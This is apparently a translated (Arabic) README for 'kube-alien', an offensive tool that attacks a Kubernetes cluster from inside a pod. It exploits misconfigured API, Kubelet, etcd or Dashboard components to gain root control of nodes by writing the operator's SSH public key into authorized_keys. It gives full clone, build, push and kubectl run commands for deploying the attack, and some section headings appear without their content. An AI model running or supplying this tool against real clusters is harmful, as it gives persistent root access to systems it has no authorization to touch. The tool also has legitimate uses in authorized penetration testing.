
أداة اختبار اختراق آلي لمجموعة Kubernetes تستغل التكوينات الخاطئة في API وKubelet وetcd وDashboard لتحقيق السيطرة على العقدة عبر حقن مفتاح SSH من داخل البود.
تقوم هذه الأداة بشن هجوم على مجموعة k8s من الداخل. وهذا يعني أنك تحتاج بالفعل إلى امتلاك صلاحية للنشر (deploy) pods في المجموعة لتشغيلها. بعد تشغيل pod kube-alien، تحاول الأداة السيطرة على عُقد المجموعة عن طريق إضافة مفتاحك العام إلى ملف /root/.ssh/authorized_keys الخاص بالعقدة، وذلك باستخدام الصورة التالية https://github.com/nixwizard/dockercloud-authorizedkeys (يمكن تعديلها باستخدام معامل ADD_AUTHKEYS_IMAGE في ملف config.py) وهي مشتقة من docker/dockercloud-authorizedkeys.
ينجح الهجوم إذا كان هناك سوء تهيئة في أحد مكونات المجموعة، ويسير عبر المتجهات التالية:
ما هو الغرض من هذه الأداة؟
كيف يمكن مهاجمة مجموعة k8s من الداخل في الحياة الواقعية؟
يجب دفع صورة Kube-alien إلى dockerhub (أو سجل آخر) قبل استخدامها مع هذه الأداة.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
يجب تعيين متغير البيئة AUTHORIZED_KEYS بقيمة مفتاحك العام ssh، وفي حال النجاح سيُضاف المفتاح العام إلى ملف authorized_keys لجميع العقد الخاصة بـ root.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
أو يمكنك استخدام صورتي لغرض الاختبار السريع:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
تحقق من سجلات pod kube-alien لمعرفة ما إذا كان الهجوم ناجحًا:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')